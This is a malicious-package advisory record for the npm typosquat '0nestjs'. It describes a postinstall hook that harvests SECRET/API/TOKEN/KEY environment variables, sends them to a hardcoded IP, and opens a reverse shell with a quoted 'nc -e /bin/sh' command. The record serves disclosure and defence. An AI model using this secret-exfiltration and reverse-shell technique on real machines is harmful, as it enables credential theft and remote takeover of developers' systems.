{"id":"MAL-2026-15908","summary":"Malicious code in 0nestjs (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (54eee258f343282c30f3efc6b5effc8aac283b7b02421433c14dee3e14f27aa3)\nPackage name 0nestjs targets developers mistyping `nestjs`. On `npm install`, the postinstall hook `node index.js` executes automatically and performs two attacker-benefiting actions against the installer's machine. First, it enumerates process.env and collects every variable whose name matches /^(SECRET|API|TOKEN|KEY)/, then opens a raw TCP connection to the hardcoded endpoint 84.32.22.44:9999 (loaded from servers.json) and writes the harvested secrets as JSON. Second, it invokes `nc -e /bin/sh \u003chost\u003e \u003cport\u003e` against the same 84.32.22.44:9999 endpoint, wiring /bin/sh stdio to the remote host and giving the operator interactive command execution on the installer's machine. package.json self-describes as 'Typosquat of nestjs' with author 'typosquat-bot'.\n\n## Source: ossf-package-analysis (8e7fe3caa67347716816d33efbd052f536e41382406cf2282b2615f4bf87b797)\nThe OpenSSF Package Analysis project identified '0nestjs' @ 0.0.1 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","modified":"2026-09-04T05:45:05.680718880Z","published":"2026-09-03T23:35:53Z","database_specific":{"malicious-packages-origins":[{"source":"ossf-package-analysis","versions":["0.0.1"],"import_time":"2026-09-04T05:18:10.235526678Z","modified_time":"2026-09-03T23:35:53Z","sha256":"8e7fe3caa67347716816d33efbd052f536e41382406cf2282b2615f4bf87b797"},{"import_time":"2026-09-04T05:39:32.757121006Z","modified_time":"2026-09-04T05:19:34Z","sha256":"54eee258f343282c30f3efc6b5effc8aac283b7b02421433c14dee3e14f27aa3","source":"amazon-inspector","versions":["0.0.1"],"id":"IN-MAL-2026-019477"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/0nestjs/v/0.0.1"}],"affected":[{"package":{"name":"0nestjs","ecosystem":"npm","purl":"pkg:npm/0nestjs"},"versions":["0.0.1"],"database_specific":{"indicators":{"evidence_files":[{"path":"index.js","sha256":"69df39ec1ddbb46090243d1338cdb1395d60a0b2550dc72e67a317c2ee58c5f2","tlsh":"4f118c9846e9a57a0ba117d18532423b7afbc4303202e6d1719ca2df6e93d180563dfc"},{"sha256":"876e8c42ff74d9b7cf13b88113f459dc783ca76f3f674cefb9d6d5f4b1cb63a9","tlsh":"ead05e628c905e2325f88f958836560ab1a10f3f20355d4bb1bf226852e227184ad72d","path":"package.json"}],"package_integrity":[{"filename":"0nestjs-0.0.1.tgz","hashes":{"sha1":"7cd4a95b642f3f8d7eaa2bb05b4cb4b54e8ed538","sha512_sri":"sha512-fXad3u1hJ2rWOPZ/nSfHHDU29G6+7nDd7o+O8uKpHcP6mXwjxCRnP9i67SqwK287NoDU9jyfrfd4MpdWz+tc4A=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/0nestjs/MAL-2026-15908.json","cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}]}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}